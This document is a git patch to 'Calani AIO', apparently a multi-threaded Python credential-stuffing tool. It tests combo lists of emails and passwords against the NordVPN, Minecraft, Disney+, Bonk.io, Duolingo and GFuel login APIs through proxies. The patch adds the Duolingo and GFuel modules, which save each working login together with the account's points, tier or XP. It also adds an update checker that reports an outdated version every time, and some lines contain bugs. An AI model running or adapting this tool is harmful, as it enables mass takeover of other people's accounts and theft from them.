From 0413eee6005396ff550615e21d9705b36349bd31 Mon Sep 17 00:00:00 2001 From: Mickey Date: Fri, 5 Nov 2021 10:53:44 -0400 Subject: [PATCH] v0.1.5-alpha --- main.py | 38 ++++++++++++++++++--- modules/checkers/bonk_io.py | 5 ++- modules/checkers/disney.py | 10 +++--- modules/checkers/duolingo.py | 35 +++++++++++++++++++ modules/checkers/gfuel.py | 63 +++++++++++++++++++++++++++++++++++ modules/checkers/minecraft.py | 7 ++-- modules/checkers/nordvpn.py | 4 ++- modules/functions.py | 6 ++-- modules/updater.py | 22 ++++++++++++ 9 files changed, 174 insertions(+), 16 deletions(-) mode change 100644 => 100755 main.py create mode 100644 modules/checkers/duolingo.py create mode 100644 modules/checkers/gfuel.py create mode 100644 modules/updater.py diff --git a/main.py b/main.py old mode 100644 new mode 100755 index 2fa875a..5e01e9d --- a/main.py +++ b/main.py @@ -1,13 +1,16 @@ +#!/usr/bin/python3 from colorama import Fore,init from multiprocessing.dummy import Pool from time import sleep -from threading import Thread +from threading import Thread,Lock from console.utils import set_title +from modules.updater import check as check_updates red = Fore.RED green = Fore.GREEN cyan = Fore.CYAN reset = Fore.RESET +lock = Lock() class checker: bad = 0 @@ -33,12 +36,17 @@ class checker: from modules.checkers import minecraft from modules.checkers import bonk_io from modules.checkers import disney +from modules.checkers import duolingo +from modules.checkers import gfuel + modules_list = { "nordvpn":nordvpn, "minecraft":minecraft, "bonk.io":bonk_io, - "disney+":disney + "disney+":disney, + "duolingo":duolingo, + "gfuel":gfuel } def home(): @@ -71,6 +79,8 @@ def modules(): [{cyan}2{reset}] NordVPN [{cyan}3{reset}] Bonk.io [{cyan}4{reset}] Disney+ + [{cyan}5{reset}] Duolingo + [{cyan}6{reset}] Gfuel [{cyan}>{reset}] Selected Modules: {str([x.title() for x in selected_modules]).replace("'","").replace("', '",", ")} [{cyan}A{reset}] Add All Modules @@ -82,9 +92,15 @@ def modules(): elif option == "2": selected_modules.append("nordvpn") elif option == "3": selected_modules.append("bonk.io") elif option == "4": selected_modules.append("disney+") + elif option == "5": selected_modules.append("duolingo") + elif option == "6": selected_modules.append("gfuel") elif option == "s": - starter(selected_modules) - return + if selected_modules != []: + starter(selected_modules) + return + else: + print(f" [{cyan}>{reset}] Must select at least 1 module!") + sleep(1) elif option == "a": for module in modules_list: selected_modules.append(module) @@ -177,6 +193,8 @@ def foo(account:str): mainpool = Pool(processes=checker.threads) clear() ascii() + if not checker.cui: + print("\n\n") mainpool.imap_unordered(func=foo,iterable=checker.accounts_down) mainpool.close() mainpool.join() @@ -187,4 +205,14 @@ def foo(account:str): if __name__ == "__main__": init(autoreset=True) - home() \ No newline at end of file + clear() + ascii() + print("\n\n") + update = check_updates() + if not update: + home() + else: + print(f" [{red}>{reset}] Your version is outdated!") + print(f" [{cyan}>{reset}] Find the latest version of Calani AIO here: https://github.com/Mickey758/Calani-AIO/releases") + input(f" [{cyan}>{reset}] Press enter to ignore") + home() diff --git a/modules/checkers/bonk_io.py b/modules/checkers/bonk_io.py index 72b7ec6..5386718 100644 --- a/modules/checkers/bonk_io.py +++ b/modules/checkers/bonk_io.py @@ -21,7 +21,8 @@ def check(email:str,password:str): if a.get("e"): if a["e"] == "ratelimited": raise - retries += 1 + else: + retries += 1 elif "xp" in a: xp = a["xp"] friends = len(a["friends"]) @@ -44,6 +45,8 @@ def check(email:str,password:str): return except: checker.errors += 1 + if not checker.cui: + log("bad",email+":"+"password","Bonk.io") checker.bad += 1 checker.cpm += 1 return diff --git a/modules/checkers/disney.py b/modules/checkers/disney.py index 26bc2a9..8da5198 100644 --- a/modules/checkers/disney.py +++ b/modules/checkers/disney.py @@ -61,19 +61,19 @@ def check(email:str,password:str): id = "".join(choices(ascii_letters+digits,k=16)) pid = "".join(choices(ascii_letters+digits,k=24)) - data_1 = "{\"query\":\"mutation ($registerDevice: RegisterDeviceInput!) {registerDevice(registerDevice: $registerDevice) {__typename}}\",\"variables\":{\"registerDevice\":{\"applicationRuntime\":\"android\",\"attributes\":{\"osDeviceIds\":[{\"identifier\":\""+id+"\",\"type\":\"android.vendor.id\"},{\"identifier\":\""+pid+"\",\"type\":\"android.advertising.id\"}],\"manufacturer\":\"OnePlus\",\"model\":\"A5010\",\"operatingSystem\":\"Android\",\"operatingSystemVersion\":\"7.1.2\"},\"deviceFamily\":\"android\",\"deviceLanguage\":\"en\",\"deviceProfile\":\"phone\"}}}" - data_2 = """{\"operationName\":\"login\",\"variables\":{\"input\":{\"email\":\""""+email+"""\",\"password\":\""""+password+"""\"},\"includePaywall\":false,\"includeActionGrant\":false},\"query\":\"mutation login($input: LoginInput!, $includePaywall: Boolean!, $includeActionGrant: Boolean!) { login(login: $input) { __typename account { __typename ...accountGraphFragment } actionGrant @include(if: $includeActionGrant) activeSession { __typename ...sessionGraphFragment } paywall @include(if: $includePaywall) { __typename ...paywallGraphFragment } } } fragment accountGraphFragment on Account { __typename id activeProfile { __typename id } profiles { __typename ...profileGraphFragment } parentalControls { __typename isProfileCreationProtected } flows { __typename star { __typename isOnboarded } } attributes { __typename email emailVerified userVerified locations { __typename manual { __typename country } purchase { __typename country } registration { __typename geoIp { __typename country } } } } } fragment profileGraphFragment on Profile { __typename id name maturityRating { __typename ratingSystem ratingSystemValues contentMaturityRating maxRatingSystemValue isMaxContentMaturityRating } isAge21Verified flows { __typename star { __typename eligibleForOnboarding isOnboarded } } attributes { __typename isDefault kidsModeEnabled groupWatch { __typename enabled } languagePreferences { __typename appLanguage playbackLanguage preferAudioDescription preferSDH subtitleLanguage subtitlesEnabled } parentalControls { __typename isPinProtected kidProofExitEnabled liveAndUnratedContent { __typename enabled } } playbackSettings { __typename autoplay backgroundVideo prefer133 } avatar { __typename id userSelected } } } fragment sessionGraphFragment on Session { __typename sessionId device { __typename id } entitlements experiments { __typename featureId variantId version } homeLocation { __typename countryCode } inSupportedLocation isSubscriber location { __typename countryCode } portabilityLocation { __typename countryCode } preferredMaturityRating { __typename impliedMaturityRating ratingSystem } } fragment paywallGraphFragment on Paywall { __typename skus { __typename name sku entitlements } paywallHash context assertions { __typename documentCode } }\"}""" + data_1 = loads("{\"query\":\"mutation ($registerDevice: RegisterDeviceInput!) {registerDevice(registerDevice: $registerDevice) {__typename}}\",\"variables\":{\"registerDevice\":{\"applicationRuntime\":\"android\",\"attributes\":{\"osDeviceIds\":[{\"identifier\":\""+id+"\",\"type\":\"android.vendor.id\"},{\"identifier\":\""+pid+"\",\"type\":\"android.advertising.id\"}],\"manufacturer\":\"OnePlus\",\"model\":\"A5010\",\"operatingSystem\":\"Android\",\"operatingSystemVersion\":\"7.1.2\"},\"deviceFamily\":\"android\",\"deviceLanguage\":\"en\",\"deviceProfile\":\"phone\"}}}") + data_2 = loads("""{\"operationName\":\"login\",\"variables\":{\"input\":{\"email\":\""""+email+"""\",\"password\":\""""+password+"""\"},\"includePaywall\":false,\"includeActionGrant\":false},\"query\":\"mutation login($input: LoginInput!, $includePaywall: Boolean!, $includeActionGrant: Boolean!) { login(login: $input) { __typename account { __typename ...accountGraphFragment } actionGrant @include(if: $includeActionGrant) activeSession { __typename ...sessionGraphFragment } paywall @include(if: $includePaywall) { __typename ...paywallGraphFragment } } } fragment accountGraphFragment on Account { __typename id activeProfile { __typename id } profiles { __typename ...profileGraphFragment } parentalControls { __typename isProfileCreationProtected } flows { __typename star { __typename isOnboarded } } attributes { __typename email emailVerified userVerified locations { __typename manual { __typename country } purchase { __typename country } registration { __typename geoIp { __typename country } } } } } fragment profileGraphFragment on Profile { __typename id name maturityRating { __typename ratingSystem ratingSystemValues contentMaturityRating maxRatingSystemValue isMaxContentMaturityRating } isAge21Verified flows { __typename star { __typename eligibleForOnboarding isOnboarded } } attributes { __typename isDefault kidsModeEnabled groupWatch { __typename enabled } languagePreferences { __typename appLanguage playbackLanguage preferAudioDescription preferSDH subtitleLanguage subtitlesEnabled } parentalControls { __typename isPinProtected kidProofExitEnabled liveAndUnratedContent { __typename enabled } } playbackSettings { __typename autoplay backgroundVideo prefer133 } avatar { __typename id userSelected } } } fragment sessionGraphFragment on Session { __typename sessionId device { __typename id } entitlements experiments { __typename featureId variantId version } homeLocation { __typename countryCode } inSupportedLocation isSubscriber location { __typename countryCode } portabilityLocation { __typename countryCode } preferredMaturityRating { __typename impliedMaturityRating ratingSystem } } fragment paywallGraphFragment on Paywall { __typename skus { __typename name sku entitlements } paywallHash context assertions { __typename documentCode } }\"}""") header_1["X-BAMSDK-Transaction-ID"] = pid header_2["X-BAMSDK-Transaction-ID"] = pid header_3["X-BAMSDK-Transaction-ID"] = pid try: - r = post("https://disney.api.edge.bamgrid.com/graph/v1/device/graphql",headers=header_1,json=loads(data_1),proxies=set_proxy(proxy),timeout=checker.timeout).json() + r = post("https://disney.api.edge.bamgrid.com/graph/v1/device/graphql",headers=header_1,json=data_1,proxies=set_proxy(proxy),timeout=checker.timeout).json() token = r["extensions"]["sdk"]["token"]["accessToken"] header_2["Authorization"] = token - r = post("https://disney.api.edge.bamgrid.com/v1/public/graphql",json=loads(data_2),headers=header_2,proxies=set_proxy(proxy),timeout=checker.timeout) + r = post("https://disney.api.edge.bamgrid.com/v1/public/graphql",json=data_2,headers=header_2,proxies=set_proxy(proxy),timeout=checker.timeout) if "data\":null" in r.text: retries += 1 elif "accessToken" in r.text: @@ -115,6 +115,8 @@ def check(email:str,password:str): raise except: checker.errors += 1 + if not checker.cui: + log("bad",email+":"+"password","Disney") checker.bad += 1 checker.cpm += 1 return \ No newline at end of file diff --git a/modules/checkers/duolingo.py b/modules/checkers/duolingo.py new file mode 100644 index 0000000..1c7a705 --- /dev/null +++ b/modules/checkers/duolingo.py @@ -0,0 +1,35 @@ +from __main__ import checker +from modules.functions import set_proxy,log,save +from requests import post +from json import dumps + +def check(email:str,password:str): + retries = 0 + while retries != checker.retries: + proxy = set_proxy() + header = {"Content-Type":"application/json","UserAgent":"DuolingoMobile/6.14.1 (iPhone; iOS 12.0.1; Scale/2.00)"} + data = dumps({"password":password,"identifier":email,"fields":"_achievements,adsConfig{units},bio,coachOutfit,courses{authorId,healthEnabled,fromLanguage,id,learningLanguage,placementTestAvailable,title,xp},creationDate,currencyRewardBundles,currentCourse{authorId,checkpointTests,healthEnabled,extraCrowns,fluency,fromLanguage,id,learningLanguage,placementTestAvailable,progressQuizHistory,progressVersion,skills{accessible,bonus,conversations,explanation,finishedLessons,finishedLevels,iconId,id,indicatingNewContent,lessons,levels,name,progressRemaining,shortName,strength,urlName},sections,smartTips,status,title,trackingProperties,xp},email,enableMicrophone,enableSoundEffects,enableSpeaker,experiments,facebookId,fromLanguage,gems,gemsConfig,googleId,health,id,inviteURL,joinedClassroomIds,learningLanguage,lingots,location,motivation,name,observedClassroomIds,optionalFeatures,persistentNotifications,phoneNumber,picture,plusDiscounts,practiceReminderSettings,privacySettings,pushClubs,pushLeaderboards,requiresParentalConsent,referralInfo,roles,shopItems{id,purchaseDate,purchasePrice,subscriptionInfo{renewer},wagerDay},streakData,timezone,timezoneOffset,totalXp,trackingProperties,username,weeklyXp,xpConfig,xpGains{time, xp},zhTw","distinctId":"EE2C72B5-A05E-42F9-9C09-928DEF7C4BF2"}) + try: + a = post("https://ios-api-2.duolingo.com/2017-06-30/login",data=data,headers=header,proxies=set_proxy(proxy),timeout=checker.timeout) + if a.text == "{}": + retries += 1 + elif "lingots" in a.text: + data = a.json() + crowns = data["currentCourse"]["trackingProperties"]["total_crowns"] + lingots = data["trackingProperties"]["lingots"] + xp = data["totalXp"] + if not checker.cui: + log("good",email+":"+password,"Duolingo") + save("Duolingo","good",checker.time,email+":"+password+f" | Crowns: {crowns} | Lingots: {lingots} | XP: {xp}") + checker.good += 1 + checker.cpm += 1 + return + else: + raise + except: + checker.errors += 1 + if not checker.cui: + log("bad",email+":"+password,"Duolingo") + checker.bad += 1 + checker.cpm += 1 + return \ No newline at end of file diff --git a/modules/checkers/gfuel.py b/modules/checkers/gfuel.py new file mode 100644 index 0000000..95d8474 --- /dev/null +++ b/modules/checkers/gfuel.py @@ -0,0 +1,63 @@ +from __main__ import checker +from modules.functions import set_proxy, log, save +from requests import Session +from base64 import b64decode + +def check(email:str,password:str): + retries = 0 + while retries != checker.retries: + proxy = set_proxy() + header = { + "Host": "gfuel.com" , + "accept": "application/json" , + "x-buy3-sdk-cache-key": "" , + "x-buy3-sdk-cache-fetch-strategy": "NETWORK_FIRST" , + "x-buy3-sdk-expire-timeout": "9223372036854775807" , + "user-agent": "Mobile Buy SDK Android/10.0.1/com.aeron.shopifycore.gfuel" , + "x-sdk-version": "10.0.1" , + "x-sdk-variant": "android" , + "x-shopify-storefront-access-token": "21765aa7568fd627c44d68bde191f6c0", + "Content-Type":"application/graphql; charset=utf-8" + } + try: + with Session() as s: + r = s.post("https://gfuel.com/api/2021-07/graphql",data="mutation {customerAccessTokenCreate(input:{email:\""+email+"\",password:\""+password+"\"}){customerAccessToken{accessToken,expiresAt},userErrors{field,message}}}",headers=header,proxies=set_proxy(proxy),timeout=checker.timeout) + if "customerAccessToken\":null" in r.text: + retries += 1 + elif "accessToken" in r.text: + token = r.json()["data"]["customerAccessTokenCreate"]["customerAccessToken"]["accessToken"] + + r = s.post("https://gfuel.com/api/2021-07/graphql",data="query {customer(customerAccessToken:\""+token+"\"){createdAt,displayName,email,id,firstName,lastName,phone}}",headers=header,proxies=set_proxy(proxy),timeout=checker.timeout).json() + id = str(b64decode(r["data"]["customer"]["id"].encode()).decode()).split("gid://shopify/Customer/")[-1] + + r = s.get(f"https://loyalty.yotpo.com/api/v1/customer_details?customer_email={email}&customer_external_id={id}&customer_token={token}&merchant_id=33869",proxies=set_proxy(proxy),timeout=checker.timeout) + if r.status_code == 403: + raise + else: + r = r.json() + xp = r.get("points_balance") + if xp == None or int(xp) <= 19: + if not checker.cui: + log("custom",email+":"+password,"Gfuel") + save("Gfuel","custom",checker.time,email+":"+password+f" | XP: {xp}") + checker.custom += 1 + checker.cpm += 1 + return + else: + tier = r.get("vip_tier").get("name") + subscribed = r.get("subscribed") + if not checker.cui: + log("good",email+":"+password,"Gfuel") + save("Gfuel","good",checker.time,email+":"+password+f" | Subscribed: {subscribed} | Tier: {tier} | XP: {xp}") + checker.good += 1 + checker.cpm += 1 + return + else: + raise + except: + checker.errors += 1 + if not checker.cui: + log("bad".email+":"+password,"Gfuel") + checker.bad += 1 + checker.cpm += 1 + return \ No newline at end of file diff --git a/modules/checkers/minecraft.py b/modules/checkers/minecraft.py index 4385b25..32658a0 100644 --- a/modules/checkers/minecraft.py +++ b/modules/checkers/minecraft.py @@ -1,16 +1,17 @@ from __main__ import checker from modules.functions import set_proxy,log,save from requests import get,post +from json import dumps def check(email:str,password:str): retries = 0 while retries != checker.retries: proxy = set_proxy() - body = {'agent': {'name': 'Minecraft','version': 1},'username': email,'password': password,'clientToken': "fff"} + body = dumps({'agent': {'name': 'Minecraft','version': 1},'username': email,'password': password,'clientToken': "fff"}) header_1 = {"Content-Type": "application/json", 'Pragma': 'no-cache'} header_2 = {'Pragma': 'no-cache', "Authorization": f""} try: - r = post(url="https://authserver.mojang.com/authenticate",headers=header_1,json=body,timeout=checker.timeout,proxies=set_proxy(proxy)) + r = post(url="https://authserver.mojang.com/authenticate",headers=header_1,data=body,timeout=checker.timeout,proxies=set_proxy(proxy)) if 'Invalid credentials' in r.text: retries += 1 elif "[]" in r.text: @@ -42,6 +43,8 @@ def check(email:str,password:str): raise except: checker.errors += 1 + if not checker.cui: + log("bad",email+":"+"password","Minecraft") checker.bad += 1 checker.cpm += 1 return \ No newline at end of file diff --git a/modules/checkers/nordvpn.py b/modules/checkers/nordvpn.py index f3666c7..2451d96 100644 --- a/modules/checkers/nordvpn.py +++ b/modules/checkers/nordvpn.py @@ -1,5 +1,5 @@ from __main__ import checker -from requests import get,post,exceptions +from requests import get,post from modules.functions import set_proxy, log, save from base64 import b64encode from datetime import datetime @@ -61,6 +61,8 @@ def check(email:str,password:str): raise except: checker.errors += 1 + if not checker.cui: + log("bad",email+":"+"password","NordVPN") checker.bad += 1 checker.cpm += 1 return \ No newline at end of file diff --git a/modules/functions.py b/modules/functions.py index 11ba785..9d46a0d 100644 --- a/modules/functions.py +++ b/modules/functions.py @@ -1,8 +1,7 @@ from os import system,name from datetime import datetime from colorama import Fore,Style,init -from threading import Lock,Thread -from __main__ import checker +from __main__ import checker,lock from random import choice from tkinter import Tk,filedialog from base64 import b64decode @@ -12,7 +11,6 @@ from console.utils import set_title from os import makedirs -lock = Lock() init(autoreset=True) yellow = Fore.YELLOW @@ -81,6 +79,8 @@ def log(type:str,account:str,service:str): print(f" [{yellow}Custom{reset}] {account} | {service}") if type == "good": print(f" [{green}Good{reset}] {account} | {service}") + if type == "bad": + print(f" [{red}Bad{reset}] {account} | {service}") def set_proxy(proxy:str=False): """ diff --git a/modules/updater.py b/modules/updater.py new file mode 100644 index 0000000..80b5d47 --- /dev/null +++ b/modules/updater.py @@ -0,0 +1,22 @@ +from console.utils import set_title +from colorama import Fore,init +from requests import get +from time import sleep +init(autoreset=True) +red = Fore.RED +cyan = Fore.CYAN +reset = Fore.RESET + +def check(): + set_title("Calani AIO | Checking For Updates | MickeyYe#0003") + print(f" [{cyan}>{reset}] Checking for updates") + try: + v = get("https://raw.githubusercontent.com/Mickey758/Calani-AIO/master/version").text + if v != "0.1.5-alpha": + return True + else: + return True + except: + print(f" [{red}>{reset}] Could not connect to update server") + sleep(2) + return False \ No newline at end of file